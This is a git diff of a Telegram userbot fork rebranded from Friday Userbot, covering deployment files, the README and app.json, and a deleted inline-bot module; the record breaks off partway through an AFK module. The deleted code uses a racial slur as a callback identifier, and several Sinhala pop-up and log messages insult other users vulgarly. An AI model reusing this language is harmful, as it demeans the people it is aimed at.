diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000..6824f3a2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,11 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. diff --git a/.github/workflows/pylint.yml b/.github/workflows/pylint.yml index 66d1e18c..676a7a6c 100644 --- a/.github/workflows/pylint.yml +++ b/.github/workflows/pylint.yml @@ -31,6 +31,6 @@ jobs: commit_message: 'pylint: auto fixes' commit_options: '--no-verify' repository: . - commit_user_name: Starkgangs - commit_user_email: Starkgangz@gmail.com - commit_author: Starkgangs + commit_user_name: InukaaAith + commit_user_email: inukaasith7@gmail.com + commit_author: InukaAsith diff --git a/.github/workflows/sed.yml b/.github/workflows/sed.yml new file mode 100644 index 00000000..e89e26ed --- /dev/null +++ b/.github/workflows/sed.yml @@ -0,0 +1,21 @@ +name: Sed-replacer +on: push +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Find and Replace + uses: jacobtomlinson/gha-find-replace@master + with: + find: "fridaybot" + replace: "virtualuserbot" + - name: Pull All Updates + uses: stefanzweifel/git-auto-commit-action@v4 + with: + commit_message: 'SeD Replacer' + commit_options: '--no-verify' + repository: . + commit_user_name: InukaAsith + commit_user_email: inukaasith7@gmail.com + commit_author: inukaasith diff --git a/Dockerfile b/Dockerfile index 274d672e..970f9ee1 100644 --- a/Dockerfile +++ b/Dockerfile @@ -47,21 +47,25 @@ RUN apt-get install -y\ megatools \ libfreetype6-dev \ procps \ + imagemagick \ + libmagic-dev \ policykit-1 - -RUN apt-get autoremove --purge -RUN pip3 install --upgrade pip setuptools -RUN pip3 install --upgrade pip -RUN if [ ! -e /usr/bin/pip ]; then ln -s pip3 /usr/bin/pip ; fi -RUN if [ ! -e /usr/bin/python ]; then ln -sf /usr/bin/python3 /usr/bin/python; fi -RUN rm -r /root/.cache +#RUN apt-get autoremove --purge +#RUN pip3 install --upgrade pip setuptools +#RUN pip3 install --upgrade pip +#RUN if [ ! -e /usr/bin/pip ]; then ln -s pip3 /usr/bin/pip ; fi +#RUN if [ ! -e /usr/bin/python ]; then ln -sf /usr/bin/python3 /usr/bin/python; fi +#RUN rm -r /root/.cache RUN axel https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && apt install -y ./google-chrome-stable_current_amd64.deb && rm google-chrome-stable_current_amd64.deb RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip -RUN git clone https://github.com/inukaasith/virtualuserbot /root/fridaybot -RUN mkdir /root/fridaybot/bin/ -WORKDIR /root/fridaybot/ -RUN chmod +x /usr/local/bin/* +#RUN git clone https://github.com/KeinShin/Black-Lightning /root/userbot +RUN wget https://raw.githubusercontent.com/Inukaasith/virtualuserbot/master/virtualbotmain.py +RUN wget https://raw.githubusercontent.com/Inukaasith/virtualuserbot/master/requirements.txt +#RUN mkdir /root/userbot/bin/ +#WORKDIR /root/userbot/ +#RUN chmod +x /usr/local/bin/* RUN pip3 install -r requirements.txt -CMD ["bash","start.sh"] +#CMD ["bash","boot_start.sh"] +CMD ["python3","virtualbotmain.py"] diff --git a/Fonts/DroidSansMono.ttf b/Fonts/DroidSansMono.ttf new file mode 100644 index 00000000..b7bf5b4a Binary files /dev/null and b/Fonts/DroidSansMono.ttf differ diff --git a/Fonts/ProductSans-BoldItalic.ttf b/Fonts/ProductSans-BoldItalic.ttf new file mode 100644 index 00000000..bdd22b04 Binary files /dev/null and b/Fonts/ProductSans-BoldItalic.ttf differ diff --git a/Fonts/ProductSans-Light.ttf b/Fonts/ProductSans-Light.ttf new file mode 100644 index 00000000..33de1c39 Binary files /dev/null and b/Fonts/ProductSans-Light.ttf differ diff --git a/Fonts/Quivira.otf b/Fonts/Quivira.otf new file mode 100644 index 00000000..8064cae2 Binary files /dev/null and b/Fonts/Quivira.otf differ diff --git a/Fonts/Roboto-Italic.ttf b/Fonts/Roboto-Italic.ttf new file mode 100644 index 00000000..f0f33dbd Binary files /dev/null and b/Fonts/Roboto-Italic.ttf differ diff --git a/Fonts/Roboto-Medium.ttf b/Fonts/Roboto-Medium.ttf new file mode 100644 index 00000000..87983419 Binary files /dev/null and b/Fonts/Roboto-Medium.ttf differ diff --git a/Fonts/Roboto-Regular.ttf b/Fonts/Roboto-Regular.ttf new file mode 100644 index 00000000..7d9a6c4c Binary files /dev/null and b/Fonts/Roboto-Regular.ttf differ diff --git a/Procfile b/Procfile index 9d4396ef..d0e34a37 100644 --- a/Procfile +++ b/Procfile @@ -1 +1 @@ -fridaybot: python -m fridaybot +worker: python3 virtualbotmain.py diff --git a/README.md b/README.md index ddb83cbd..c14a17c8 100644 --- a/README.md +++ b/README.md @@ -2,64 +2,161 @@

Virtual-USERBOT 🇱🇰

-

A Powerful, Smart And Simple Userbot based on Friday Userbot.

+

A Powerful, Smart And Simple Userbot with 300+ Plugins
... Remodied Friday for Sri Lanka ...

- Commit - Stars - Fork + Commit + Stars + Fork

-

+

+### BASED ON FRIDAY v7. +### BTW FRIDAY USERBOT v8 AVAILABLE BY NOW. A POWERFUL AND SECURE USERBOT BUILD FROM SCRATCH +### https://github.com/devsexpo/fridayuserbot +[![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) + +## HEROKU ERROR FIXED. BTW USE FRIDAY INSTEAD + +# 😍 Credits +### Cloned from [Friday Userbot](github.com/starkgang/fridayuserbot) on 28/01/2021.. Full credits to Friday Developers +#### Special thanks To Friday Bot And Dark Cobra Bot a lot +##### ♡ Friday is the best userbot ♡ ~ This is just a remodification.. Original work was done by them + + +● Most of the plugins in this are developed FridayUserbot and many others.. +So, all respect and credits goes to them + +● Also original owners of modules mentioned at the top of every module. + +``` Full credits mentioned at the bottom``` + +◇ It is recommend you to use the [Friday Userbot](github.com/starkgang/fridayuserbot). It is more better than other userbots + +# + +# 🧙‍♀️ Deploy Guide +Complete guide on deploying VirtualUserbot to Heroku. + +

+ + +☆ Video by [TWE](http://techwizardent.com/) ☆ + +# ❤️ Support + + + + + +### Please Star this repo If you are deploying this Userbot + +

+ + + + +

+ +### Also show some support to the base project [Friday Userbot](github.com/starkgang/fridayuserbot) + +# 🕵️‍♀️ Before You Go + + + +## 1) AppID and API HASH + +Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Turn on Inline mode for the bot -# Support +## 2) String Session (Need before deploying) +This is the way thar your userbot connects with you. Need an AppID ApiHash and a username to go.. - +[![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://repl.it/@InukaAsith/VirtualUserbot#main.py) - -``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` +## 3) Heroku API +Create a account on [Heroku](dashboad.heroku.com) first. Then goto settings scroll to bottom. Reaveal API and get api +## 4) Plugin Channel and Private Group ID +Create a private group on Telegram. +Add [MissRoseBot](t.me/missrosebot) to you group and give Admin permissions. +Turn Chat history for members in Manage group +send ```/id``` and get the group's ID +## 5) Bot Language (Si or En) -# How to Deploy guide by Friday +### VirtualUserbot Support Multiple languages.. +#### Currently Available Languages are +- Sinhala (si) +- English (en) - +Enter ```si``` or ```en``` in lang section while deploying to deploy bot in desired Language - +#### You can always change Languages by sending -``` The Methord is also same for this. Just deploy bot from this repo ``` +To Sinhala => +```.set var lang si``` +To English => +``` .set var lang en``` +# -# Deploying To Heroku + + + +# 🏃‍♂️ Deploying To Heroku [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) +``` Always try to Deploy this source. If not you will miss the future updates``` + +# + + + +# 🤴 After Deploying Steps + +## 1) Turn Heroku Dynos ON +Dynos are used on heroku. On free accounts You will get 600 free dyno hours. When you link your CC you will get aditional 400 dyno for free. +Ater Building app is completed.. Goto [Heroku](dashboad.heroku.com), Select your app and goto *Resources Tab*. +Then turn * worker bash start.sh * to ON +## 2) Check you logs +Chack Heroku logs then.. If you done any mistakes they will shown there. +## 3) Goto telegram and check your Superpowers +Goto telegram and send .help to see the help of your Userbot +# +# 🦹‍♀️ What is the message sending to users who message you -# String Session (Powered By Friday) -## Repl +### Virtual Userbot has a PM Protection service ( It was just copied from Friday Project) -[![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://friday.midhunkm1294.repl.run) +Send ```.a``` to approove users to PM you +and, ```.da``` to disapproove -## Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang for the Friday Project.. +If you Dont like this send ```.set var PM_DATA DISABLE``` + +#
--THE HARD WAY of deploying - +-MORE INFO HERE - + +# String Session (Hard Way) +## [Using the Bot](https://t.me/stringsessionbot) (Not Recommended) +[![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) Simply clone the repository and run the main file: ```sh # Install Git First. @@ -73,7 +170,7 @@ virtualenv -p /usr/bin/python3 venv pip install -r requirements.txt # Create local_config.py with variables as given below # Start Bot -python3 -m fridaybot +python3 -m virtualuserbot ``` @@ -102,13 +199,54 @@ python3 -m fridaybot # Licence [![GNU GPLv3 Image](https://www.gnu.org/graphics/gplv3-127x51.png)](http://www.gnu.org/licenses/gpl-3.0.en.html) -FridayUserbot is Free Software: You can use, study share and improve it at your +VirtualUserbot is Free Software: You can use, study share and improve it at your will. Specifically you can redistribute and/or modify it under the terms of the [GNU General Public License](https://www.gnu.org/licenses/gpl.html) as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+# + +# [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/inukaasith/virtualuserbot/graphs/commit-activity) +# Full Credits + +- FridayUserBot ❤️ - +Most of the Plugins Taken from this Project.. Made possible by this. Full Credits. Full Respect +Best userbot ever + +- DarkCobra 😍 - +Image Tools Plugins Copied from DC Project.. Credits to DC Team + +- CatUserbot - +Internal Core Plugins taken.. Helped a lot to fix bugs in source.. Full respect + +- Uniborg - +Userbots Made possible. Credits + +- TeleBot - +Speed Boosted by the help of this source code.. Credits + +- Black Lightning - +Got Fun tools from this.. Respect + + +# 🧐 Disclaimer + +### Use at your Own Risk 😇 +Virtualuserbot don't have any torrent leeching plugins.. So risk of bans in TG is low +But somehow if you get banned or anything happened WE ARE NOT RESPONSIBLE FOR THEM + +### Report Errors only to virtualuserbot developers + +There are various plugins in virtualuserbot owned by Friday and other userbots.. +All the plugins are reconfigured for for virtualuserbot. So if you have any errors please report only to the virtualuserbot developers + +### If you are using adult content in the bot or if you harm someone with fun plugins of the bot you might get banned from Telegram. We are not responsible for that 😅 + +## ❤️ Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. ❤️ + +### 😍 Project by [Infinity_Bots](https://t.me/Infinity_Bots) 😍 diff --git a/VirtualUserbot.jpg b/VirtualUserbot.jpg new file mode 100644 index 00000000..f56bd07e Binary files /dev/null and b/VirtualUserbot.jpg differ diff --git a/app.json b/app.json index f52924fe..076d0fca 100644 --- a/app.json +++ b/app.json @@ -1,12 +1,12 @@ { - "name": "Friday-Userbot", - "description": "A Developed version of @StarkXD's Friday Userbot By @InukaASiTH", - "logo": "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg", + "name": "Virtual-Userbot", + "description": "A Remix of Userbots on Github By @InukaASiTH", + "logo": "https://telegra.ph/file/4e1364fb18f899ad47dec.png", "keywords": [ "telegram", - "fridaybot", + "virtualuserbot", "plugin", - "telegram-fridaybot", + "telegram-virtualuserbot", "productivity" ], "repository": "https://github.com/inukaasith/virtualuserbot", @@ -20,13 +20,17 @@ }, "TEMP_DOWNLOAD_DIRECTORY": { "description": "Where downloaded files will go.", - "value": "./fridaybot/DOWNLOADS/", + "value": "./virtualuserbot/DOWNLOADS/", "required": false }, "ALIVE_NAME": { "description": "Enter Username Here ", "value": "" }, + "lang": { + "description": "Enter the Userbot's language ( si , en ) <= Simple letters are copulsory.. only support si and en ", + "value": "en" + }, "APP_ID": { "description": "Get this value from my.telegram.org! Please do not steal", "value": "" @@ -66,6 +70,16 @@ "value": "", "required": false }, + "pro": { + "description": "Enable PRO Access or not.. True to Enable (Recommended not to enable)", + "value": "", + "required": false + }, + "PM_DATA": { + "description": "Enable Private Spam Protection or not.. DISABLE to Disale (Defaultly Enabled)", + "value": "", + "required": false + }, "LYDIA_API_KEY": { "description": "Needed for Lydia AI. Follow https://telegra.ph/Lydia-09-05 to get your API.", "value": "", @@ -84,7 +98,7 @@ "value": "" }, "TG_BOT_USER_NAME_BF_HER": { - "description": "You Telegram Bot API Key Here. Needed For Help Module And Cbutton.", + "description": "You Telegram Bot Username Here. Needed For Help Module And Cbutton.", "value": "" }, "DOWNLOAD_PFP_URL_CLOCK": { @@ -94,12 +108,12 @@ }, "ALIVE_IMAGE": { "description": "Enter Image URL for bot pic ", - "value": "", + "value": "https://telegra.ph/file/4e1364fb18f899ad47dec.png", "required": false }, "PMPERMIT_PIC": { "description": "Enter Image URL for bot's pmsecurity pic ", - "value": "", + "value": "https://telegra.ph/file/4e1364fb18f899ad47dec.png", "required": false }, diff --git a/friday.png b/friday.png deleted file mode 100644 index 4062a6d5..00000000 Binary files a/friday.png and /dev/null differ diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py deleted file mode 100644 index ac21aabd..00000000 --- a/fridaybot/modules/_inlinebot.py +++ /dev/null @@ -1,423 +0,0 @@ -import os -import re -import urllib -from math import ceil - -import requests -from telethon import Button, custom, events, functions -from youtubesearchpython import SearchVideos - -from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST -from fridaybot.modules import inlinestats - -PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) -if PMPERMIT_PIC is None: - WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" -else: - WARN_PIC = PMPERMIT_PIC -LOG_CHAT = Config.PRIVATE_GROUP_ID -DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" - - -@tgbot.on(events.InlineQuery) -async def inline_handler(event): - builder = event.builder - result = None - query = event.text - if event.query.user_id == bot.uid and query.startswith("VirtualUserbot"): - rev_text = query[::-1] - buttons = paginate_help(0, CMD_HELP, "helpme") - result = builder.article( - "© Userbot Help", - text="{}\nCurrently Loaded Plugins: {}".format(query, len(CMD_LIST)), - buttons=buttons, - link_preview=False, - ) - await event.answer([result]) - elif event.query.user_id == bot.uid and query == "stats": - result = builder.article( - title="Stats", - text=f"**Showing Stats For {DEFAULTUSER}'s VirtualUserbot** \nNote --> Only Owner Can Check This \n(C) [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)", - buttons=[ - [custom.Button.inline("Show Stats ?", data="terminator")], - [Button.url("Developed By", "https://github.com/Inukaasith")], - [Button.url("Support Chat❤️", "t.me/InfinityJE")], - ], - ) - await event.answer([result]) - elif event.query.user_id == bot.uid and query.startswith("**Hello"): - result = builder.photo( - file=WARN_PIC, - text=query, - buttons=[ - [custom.Button.inline("Spamming", data="dontspamnigga")], - [ - custom.Button.inline( - "Casual Talk", - data="whattalk", - ) - ], - [custom.Button.inline("Requesting", data="askme")], - ], - ) - await event.answer([result]) - - -@tgbot.on( - events.callbackquery.CallbackQuery( # pylint:disable=E0602 - data=re.compile(b"helpme_next\((.+?)\)") - ) -) -async def on_plug_in_callback_query_handler(event): - if event.query.user_id == bot.uid: - current_page_number = int(event.data_match.group(1).decode("UTF-8")) - buttons = paginate_help(current_page_number + 1, CMD_HELP, "helpme") - # https://t.me/TelethonChat/115200 - await event.edit(buttons=buttons) - else: - reply_popp_up_alert = "ඔය මොකද කරන්නෙ, මේක ඔයාගෙ නෙමේ!" - await event.answer(reply_popp_up_alert, cache_time=0, alert=True) - - -@tgbot.on( - events.callbackquery.CallbackQuery( # pylint:disable=E0602 - data=re.compile(b"helpme_prev\((.+?)\)") - ) -) -async def on_plug_in_callback_query_handler(event): - if event.query.user_id == bot.uid: # pylint:disable=E0602 - current_page_number = int(event.data_match.group(1).decode("UTF-8")) - buttons = paginate_help( - current_page_number - 1, CMD_HELP, "helpme" # pylint:disable=E0602 - ) - # https://t.me/TelethonChat/115200 - await event.edit(buttons=buttons) - else: - reply_pop_up_alert = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.!" - await event.answer(reply_pop_up_alert, cache_time=0, alert=True) - - -@tgbot.on( - events.callbackquery.CallbackQuery( # pylint:disable=E0602 - data=re.compile(b"us_plugin_(.*)") - ) -) -async def on_plug_in_callback_query_handler(event): - if not event.query.user_id == bot.uid: - sedok = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.." - await event.answer(sedok, cache_time=0, alert=True) - return - plugin_name = event.data_match.group(1).decode("UTF-8") - if plugin_name in CMD_HELP: - help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" - reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)** ".format(plugin_name) - if len(reply_pop_up_alert) >= 4096: - crackexy = "`Pasting Your Help Menu.`" - await event.answer(crackexy, cache_time=0, alert=True) - out_file = reply_pop_up_alert - url = "https://del.dog/documents" - r = requests.post(url, data=out_file.encode("UTF-8")).json() - url = f"https://del.dog/{r['key']}" - await event.edit( - f"Pasted {plugin_name} to {url}", - link_preview=False, - buttons=[[custom.Button.inline("Go Back", data="backme")]], - ) - else: - await event.edit( - message=reply_pop_up_alert, - buttons=[[custom.Button.inline("Go Back", data="backme")]], - ) - - -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"terminator"))) -async def rip(event): - if event.query.user_id == bot.uid: - text = inlinestats - await event.answer(text, alert=True) - else: - txt = "You Can't View My Masters Stats" - await event.answer(txt, alert=True) - - -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"dontspamnigga"))) -async def rip(event): - if event.query.user_id == bot.uid: - sedok = "Master, You Don't Need To Use This." - await event.answer(sedok, cache_time=0, alert=True) - return - await event.get_chat() - him_id = event.query.user_id - text1 = "ඔයා ඇවිත් තියෙන්නෙ හොඳ දේකට නෙමේ.. ඔයා තෝරපු එක පිළිගන්න බෑ.. ඒක නිසා ඔයාව Block කරනවා" - await event.edit("ඔයා තෝරපු එක පිළිගන්න බෑ ❌") - await borg.send_message(event.query.user_id, text1) - await borg(functions.contacts.BlockRequest(event.query.user_id)) - await tgbot.send_message( - LOG_CHAT, - f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා", - ) - - -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) -async def sed(event): - if event.query.user_id != bot.uid: - sedok = "මොන හුත්තෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." - await event.answer(sedok, cache_time=0, alert=True) - return - await event.answer("Back", cache_time=0, alert=False) - # This Is Copy of Above Code. (C) @SpEcHiDe - buttons = paginate_help(0, CMD_HELP, "helpme") - sed = f"""VirtualUserbots's Userbot Modules Are Listed Here !\n -For More Help or Support Visit @InfinityJE \nCurrently Loaded Plugins: {len(CMD_LIST)}""" - await event.edit(message=sed, buttons=buttons) - - -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"whattalk"))) -async def rip(event): - if event.query.user_id == bot.uid: - sedok = "Master, You Don't Need To Use This." - await event.answer(sedok, cache_time=0, alert=True) - return - await event.get_chat() - him_id = event.query.user_id - await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") - text2 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." - await borg.send_message(event.query.user_id, text2) - await tgbot.send_message( - LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.", - buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], - ) - - -@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) -async def rip(event): - if event.query.user_id == bot.uid: - sedok = "Master, You Don't Need To Use This." - await event.answer(sedok, cache_time=0, alert=True) - return - await event.get_chat() - him_id = event.query.user_id - await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") - text3 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." - await borg.send_message(event.query.user_id, text3) - await tgbot.send_message( - LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.", - buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], - ) - - -def paginate_help(page_number, loaded_modules, prefix): - number_of_rows = 8 - number_of_cols = 2 - helpable_modules = [] - for p in loaded_modules: - if not p.startswith("_"): - helpable_modules.append(p) - helpable_modules = sorted(helpable_modules) - modules = [ - custom.Button.inline( - "{} {} {}".format("✘", x, "✘"), data="us_plugin_{}".format(x) - ) - for x in helpable_modules - ] - pairs = list(zip(modules[::number_of_cols], modules[1::number_of_cols])) - if len(modules) % number_of_cols == 1: - pairs.append((modules[-1],)) - max_num_pages = ceil(len(pairs) / number_of_rows) - modulo_page = page_number % max_num_pages - if len(pairs) > number_of_rows: - pairs = pairs[ - modulo_page * number_of_rows : number_of_rows * (modulo_page + 1) - ] + [ - ( - custom.Button.inline( - "Previous", data="{}_prev({})".format(prefix, modulo_page) - ), - custom.Button.inline( - "Next", data="{}_next({})".format(prefix, modulo_page) - ), - ) - ] - return pairs - - -@tgbot.on(events.InlineQuery(pattern=r"torrent (.*)")) -async def inline_id_handler(event: events.InlineQuery.Event): - builder = event.builder - testinput = event.pattern_match.group(1) - starkisnub = urllib.parse.quote_plus(testinput) - results = [] - sedlyf = "https://api.sumanjay.cf/torrent/?query=" + starkisnub - try: - okpro = requests.get(url=sedlyf, timeout=10).json() - except: - pass - sed = len(okpro) - if sed == 0: - resultm = builder.article( - title="No Results Found.", - description="Check Your Spelling / Keyword", - text="**Please, Search Again With Correct Keyword, Thank you !**", - buttons=[ - [ - Button.switch_inline( - "Search Again", query="torrent ", same_peer=True - ) - ], - ], - ) - await event.answer([resultm]) - return - if sed > 30: - for i in range(30): - seds = okpro[i]["age"] - okpros = okpro[i]["leecher"] - sadstark = okpro[i]["magnet"] - okiknow = okpro[i]["name"] - starksize = okpro[i]["size"] - starky = okpro[i]["type"] - seeders = okpro[i]["seeder"] - okayz = f"**Title :** `{okiknow}` \n**Size :** `{starksize}` \n**Type :** `{starky}` \n**Seeder :** `{seeders}` \n**Leecher :** `{okpros}` \n**Magnet :** `{sadstark}` " - sedme = f"Size : {starksize} Type : {starky} Age : {seds}" - results.append( - await event.builder.article( - title=okiknow, - description=sedme, - text=okayz, - buttons=Button.switch_inline( - "Search Again", query="torrent ", same_peer=True - ), - ) - ) - else: - for sedz in okpro: - seds = sedz["age"] - okpros = sedz["leecher"] - sadstark = sedz["magnet"] - okiknow = sedz["name"] - starksize = sedz["size"] - starky = sedz["type"] - seeders = sedz["seeder"] - okayz = f"**Title :** `{okiknow}` \n**Size :** `{starksize}` \n**Type :** `{starky}` \n**Seeder :** `{seeders}` \n**Leecher :** `{okpros}` \n**Magnet :** `{sadstark}` " - sedme = f"Size : {starksize} Type : {starky} Age : {seds}" - results.append( - await event.builder.article( - title=okiknow, - description=sedme, - text=okayz, - buttons=[ - Button.switch_inline( - "Search Again", query="torrent ", same_peer=True - ) - ], - ) - ) - await event.answer(results) - - -@tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) -async def inline_id_handler(event: events.InlineQuery.Event): - builder = event.builder - testinput = event.pattern_match.group(1) - urllib.parse.quote_plus(testinput) - results = [] - search = SearchVideos(f"{testinput}", offset=1, mode="dict", max_results=20) - mi = search.result() - moi = mi["search_result"] - if search == None: - resultm = builder.article( - title="No Results Found.", - description="Check Your Spelling / Keyword", - text="**Please, Search Again With Correct Keyword, Thank you !**", - buttons=[ - [Button.switch_inline("Search Again", query="yt ", same_peer=True)], - ], - ) - await event.answer([resultm]) - return - for mio in moi: - mo = mio["link"] - thum = mio["title"] - fridayz = mio["id"] - thums = mio["channel"] - td = mio["duration"] - tw = mio["views"] - kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" - okayz = f"**Title :** `{thum}` \n**Link :** `{mo}` \n**Channel :** `{thums}` \n**Views :** `{tw}` \n**Duration :** `{td}`" - hmmkek = f"Channel : {thums} \nDuration : {td} \nViews : {tw}" - results.append( - await event.builder.article( - title=thum, - description=hmmkek, - text=okayz, - buttons=Button.switch_inline( - "Search Again", query="yt ", same_peer=True - ), - ) - ) - await event.answer(results) - - -@tgbot.on(events.InlineQuery(pattern=r"jm (.*)")) -async def inline_id_handler(event: events.InlineQuery.Event): - event.builder - testinput = event.pattern_match.group(1) - starkisnub = urllib.parse.quote_plus(testinput) - results = [] - search = f"http://starkmusic.herokuapp.com/result/?query={starkisnub}" - seds = requests.get(url=search).json() - for okz in seds: - okz["album"] - okmusic = okz["music"] - hmmstar = okz["perma_url"] - singer = okz["singers"] - hmm = okz["duration"] - langs = okz["language"] - hidden_url = okz["media_url"] - okayz = ( - f"**Song Name :** `{okmusic}` \n**Singer :** `{singer}` \n**Song Url :** `{hmmstar}`" - f"\n**Language :** `{langs}` \n**Download Able Url :** `{hidden_url}`" - f"\n**Duration :** `{hmm}`" - ) - hmmkek = ( - f"Song : {okmusic} Singer : {singer} Duration : {hmm} \nLanguage : {langs}" - ) - results.append( - await event.builder.article( - title=okmusic, - description=hmmkek, - text=okayz, - buttons=Button.switch_inline( - "Search Again", query="jm ", same_peer=True - ), - ) - ) - await event.answer(results) - - -@tgbot.on(events.InlineQuery) # pylint:disable=E0602 -async def inline_handler(event): - builder = event.builder - query = event.text - replied_user = await tgbot.get_me() - firstname = replied_user.username - if query == None: - resulte = builder.article( - title="Usage Guide.", - description="(C) @Inukaasith", - text=f"**How To Use Me?** \n**Youtube :** `@{firstname} yt ` \n**Example :** `@{firstname} yt why we lose song` \n\n**Torrent :** `@{firstname} torrent ` \n**Example :** `@{firstname} torrent avengers endgame ` \n\n**JioSaavan :** `@{firstname} jm ` \n**Example :** `@{firstname} jm dilbaar`", - buttons=[ - [Button.url("Contact Me", f"t.me/{firstname}")], - [Button.switch_inline("Search Youtube", query="yt ", same_peer=True)], - [ - Button.switch_inline( - "Search Torrent", query="torrent ", same_peer=True - ) - ], - [Button.switch_inline("Search JioSaavn", query="jm ", same_peer=True)], - ], - ) - await event.answer([resulte]) diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py deleted file mode 100644 index 278bac46..00000000 --- a/fridaybot/modules/afk.py +++ /dev/null @@ -1,177 +0,0 @@ -"""AFK Plugin for @FridayOT -Syntax: .afk REASON""" -import asyncio -import datetime -from datetime import datetime - -from telethon import events -from telethon.tl import functions, types - -from fridaybot import CMD_HELP - -global USER_AFK # pylint:disable=E0602 -global afk_time # pylint:disable=E0602 -global last_afk_message # pylint:disable=E0602 -global afk_start -global afk_end -USER_AFK = {} -afk_time = None -last_afk_message = {} -afk_start = {} - - -@friday.on( - events.NewMessage(pattern=r"\.afk ?(.*)", outgoing=True) -) # pylint:disable=E0602 -async def _(event): - if event.fwd_from: - return - global USER_AFK # pylint:disable=E0602 - global afk_time # pylint:disable=E0602 - global last_afk_message # pylint:disable=E0602 - global afk_start - global afk_end - global reason - USER_AFK = {} - afk_time = None - last_afk_message = {} - afk_end = {} - start_1 = datetime.now() - afk_start = start_1.replace(microsecond=0) - reason = event.pattern_match.group(1) - if not USER_AFK: # pylint:disable=E0602 - last_seen_status = await borg( # pylint:disable=E0602 - functions.account.GetPrivacyRequest(types.InputPrivacyKeyStatusTimestamp()) - ) - if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): - afk_time = datetime.datetime.now() # pylint:disable=E0602 - USER_AFK = f"yes: {reason}" # pylint:disable=E0602 - if reason: - await borg.send_message( - event.chat_id, - f"**My Master Seems To Be Too Busy 👀.** \n__He Going Afk Because Of__ `{reason}`", - ) - else: - await borg.send_message(event.chat_id, f"**I Am Busy And I Am Going Afk**.") - await asyncio.sleep(5) - await event.delete() - try: - await borg.send_message( # pylint:disable=E0602 - Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 - f"#AfkLogger Afk Is Active And Reason is {reason}", - ) - except Exception as e: # pylint:disable=C0103,W0703 - logger.warn(str(e)) # pylint:disable=E0602 - - -@friday.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 -async def set_not_afk(event): - global USER_AFK # pylint:disable=E0602 - global afk_time # pylint:disable=E0602 - global last_afk_message # pylint:disable=E0602 - global afk_start - global afk_end - back_alive = datetime.now() - afk_end = back_alive.replace(microsecond=0) - if afk_start != {}: - total_afk_time = str((afk_end - afk_start)) - current_message = event.message.message - if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602 - shite = await borg.send_message( - event.chat_id, - "__Pro is Back Alive__\n**No Longer 